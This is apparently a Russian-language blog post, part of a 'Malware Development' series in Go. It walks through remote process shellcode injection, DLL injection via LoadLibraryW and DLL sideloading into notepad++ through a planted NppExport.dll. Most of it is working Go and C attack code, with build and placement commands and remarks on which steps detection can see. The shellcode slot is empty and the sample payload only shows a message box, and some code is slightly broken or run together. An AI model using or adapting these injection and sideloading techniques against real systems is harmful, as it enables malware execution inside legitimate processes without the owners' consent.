Malware Development | golang #2

2026-08-07

tldr: remote process injection, dll injection, dll sideloading, reflective dll loading.

В прошлый раз остановились на нескольких популярных функциях. В этой статье будет дальнейший разбор с готовыми примерами.

1. Remote Process Shellcode Injection

OpenProcess => VirtualAllocEx (RW) => WriteProcessMemory => VirtualProtectEx (RX) => CreateRemoteThread

package main

import (
  "golang.org/x/sys/windows"
  "log"
  "os"
  "strconv"
)

func main() {

//аналог си atoi
  pid, err := strconv.Atoi(os.Args[1])
  if err != nil {
     log.Fatal(err)
  }

  shellcode := []byte{}

  lensh := len(shellcode)

  // fmt.Printf("len=%d, sh=%x", lensh, shellcode)

  hProc, err := windows.OpenProcess(windows.PROCESS_ALL_ACCESS, false, uint32(pid))
  if err != nil {
     log.Fatal(err)
  }

  log.Println(hProc)

  kernel32 := windows.NewLazyDLL("kernel32.dll")
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")

  va, _, errVAEx := VirtualAllocEx.Call(uintptr(hProc), 0, uintptr(lensh), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
  if va == 0 {
     log.Fatalf("VirtualAllocEx failed: %s", errVAEx)
  }

  log.Printf("va=0x%X", va)

  written := new(uintptr)

  err = windows.WriteProcessMemory(hProc, va, &shellcode[0], uintptr(lensh), written)
  if err != nil {
     log.Fatal(err)
  }

  var oldProt uint32

  err = windows.VirtualProtectEx(hProc, va, uintptr(lensh), windows.PAGE_EXECUTE_READ, &oldProt)
  if err != nil {
     log.Fatal(err)
  }

  CreateRemoteThread := kernel32.NewProc("CreateRemoteThread")

  thread, _, _ := CreateRemoteThread.Call(uintptr(hProc), 0, 0, va, uintptr(0), 0, 0)
  if thread == 0 {
     log.Fatal("CreateRemoteThread failed")
  }

  event, err := windows.WaitForSingleObject(windows.Handle(thread), 0xffffffff)
  if err != nil {
     log.Fatal(err)
  }

  _ = event
}

2. DLL Injection

Записываем строку в памяти PID процесса, спавним поток (выглядит как поток от нашего бинарника), выолняющий уже от PID процесса загрузку либы. Следующие уровни техники - DLL SideLoading , Module Stomping. По функционалу должно быть все понятно, все функции разбирались.

Проблемы техники: 1) видно открытие хендла 2) спавн потока 3) WriteProcessMemory.

package main

import (
  "log"
  "os"
  "strconv"
  "unsafe"

  "golang.org/x/sys/windows"
)

func er(err error) {
  if err != nil {
     log.Fatal(err)
  }
}

func main() {
  pid, err := strconv.Atoi(os.Args[1])
  er(err)

  log.Println(pid)

  //StringToUTF16 deprecated
  dllPath, err := windows.UTF16FromString(`C:\Windows\System32\XpsPrint.dll`)
  er(err)

  //bytes, тк utf16
  lenBytes := uintptr(len(dllPath) * 2)

  hProc, err := windows.OpenProcess(windows.PROCESS_ALL_ACCESS, false, uint32(pid))
  er(err)
  defer windows.CloseHandle(hProc)

  kernel32 := windows.NewLazyDLL("kernel32.dll")
  LoadLibraryW := kernel32.NewProc("LoadLibraryW")
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  CreateRemoteThread := kernel32.NewProc("CreateRemoteThread")

  va, _, errVAEx := VirtualAllocEx.Call(uintptr(hProc), 0, lenBytes, windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
  if va == 0 {
     log.Fatalf("VirtualAllocEx failed: %s", errVAEx)
  }

  log.Println(va)

  var written uintptr
  err = windows.WriteProcessMemory(hProc, va, (*byte)(unsafe.Pointer(&dllPath[0])), lenBytes, &written)
  er(err)

  ThreadStartRoutine := LoadLibraryW.Addr()

  thread, _, _ := CreateRemoteThread.Call(uintptr(hProc), 0, 0, ThreadStartRoutine, va, 0, 0)
  if thread == 0 {
     log.Fatal("CreateRemoteThread failed")
  }

  event, err := windows.WaitForSingleObject(windows.Handle(thread), windows.INFINITE)
  er(err)
  _ = event
}

3. DLL sideloading

Вся суть заключается в том, как DLL ищется бинарником мы подкладываем malicious DLL в папку к легитимному ехе; Как ищется DLL: 1) папка exe 2) system32 3) windows 4) . 5) path сначала надо найти длл которую бинарник не может найти, для этого я использовал Procmon:

Fig. 1 | Procmon64 для поиска NAME NOT FOUND

Потом решил не усложнять и посмотрел в информере:

Fig. 2 | Memory map

В выводе явно видно какие длл подменяемые.

Но перед этим нужно убедиться, что это не known dlls - у них пути предопределены, подменить не получится

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs" | findstr /i <dllname>

Сам факт наличия QueryOpen DLL говорит о том, что где-то происходит LoadLibrary("Wldp.dll") или она в import table без полного пути. Происходит поиск по порядку (выше), находится malicious DLL, происходит DllMain(hModule, DLL_PROCESS_ATTACH, NULL), код выполняется внутри notepad++.exe. После этого развилка

graph TD
    A[Загружена наша DLL] --> B[Функционал юзается]
    A[Загружена наша DLL] --> C[Не юзается]
    B[Функционал юзается] --> D[Нужен прокси]
    C[Не юзается] --> E[Достаточно DllMain без форвардинга]
    

Для понимания, юзается длл реально или нет просто смотрим импорты в конкретном PE файле, если из либы X есть функции - значит нужен прокси; тогда наша длл должна экспортировать те же имена, внутри каждой - форвардинг вызовов в настоящую Wldp.dll (к примеру), которую мы должны переименовать и положить рядом/локализовать и использовать, если она не в этой папке, иначе программа крашнется при первой попытке вызова импортируемой функции. Можно довольно легко написать парсер импортов, я для наглядности использую PE-bear:

Fig. 2 | PE-bear для поиска импортов

Нашей целью будет NppExport.dll. Значит, нам нужна длл с кастомным функционалом, рассматриваем случай без использования импортов:

//dll skeleton
#include <stdio.h>
#include <windows.h>
#include <winnt.h>

DWORD WINAPI Payload(LPVOID lpParam);

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, 0, Payload, NULL, 0, NULL);
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

DWORD WINAPI Payload(LPVOID lpParam)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    si.cb = sizeof(si);
    MessageBox(NULL, "DLL sideloaded", "text", 0);
    
    void *addr = VirtualAlloc(0, DWORD(1000), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    WaitForSingleObjectEx(pi.hProcess, 59999, false);
    return 0;
}

Go loader:

package main

import (
    "log"
    "os"
    "unsafe"

    "golang.org/x/sys/windows"
)

func main() {

    exePath := os.Args[1]
    cmdLine, err := windows.UTF16PtrFromString(exePath)
    if err != nil {
        log.Fatal(err)
    }

    var si windows.StartupInfo
    si.Cb = uint32(unsafe.Sizeof(si))
    var pi windows.ProcessInformation

    err = windows.CreateProcess(nil, cmdLine, nil, nil, false, 0, nil, nil, &si, &pi)
    if err != nil {
        log.Fatal("couldnt create process", err)
    }
    event, err := windows.WaitForSingleObject(pi.Process, windows.INFINITE)
    _ = event

    /*

                STARTUPINFO si;
            PROCESS_INFORMATION pi;

            ZeroMemory( &si, sizeof(si) );
            si.cb = sizeof(si);
            ZeroMemory( &pi, sizeof(pi) );


                // Start the child process.
            if( !CreateProcess( NULL,   // No module name (use command line)
                argv[1],        // Command line
                NULL,           // Process handle not inheritable
                NULL,           // Thread handle not inheritable
                FALSE,          // Set handle inheritance to FALSE
                0,              // No creation flags
                NULL,           // Use parent's environment block
                NULL,           // Use parent's starting directory
                &si,            // Pointer to STARTUPINFO structure
                &pi )           // Pointer to PROCESS_INFORMATION structure
            )
            {
                printf( "CreateProcess failed (%d).\n", GetLastError() );
                return;
            }

            // Wait until child process exits.
            WaitForSingleObject( pi.hProcess, INFINITE );

            // Close process and thread handles.
            CloseHandle( pi.hProcess );
            CloseHandle( pi.hThread );
        }
    */

}

Итого, usage:

g++ -shared -o NppExport.dll .\skel.cpp -luser32

mv .\NppExport.dll ...\notepad++_dir\

dll_sideloader.exe "...\notepad++dir"

Можно еще написать DLL через buildmode=c-shared, экспортировать нужные функции

//export _DllMainCRTStartupfunc _DllMainCRTStartup(_, _, _ uintptr) uintptr {    go runPayload()    return 1}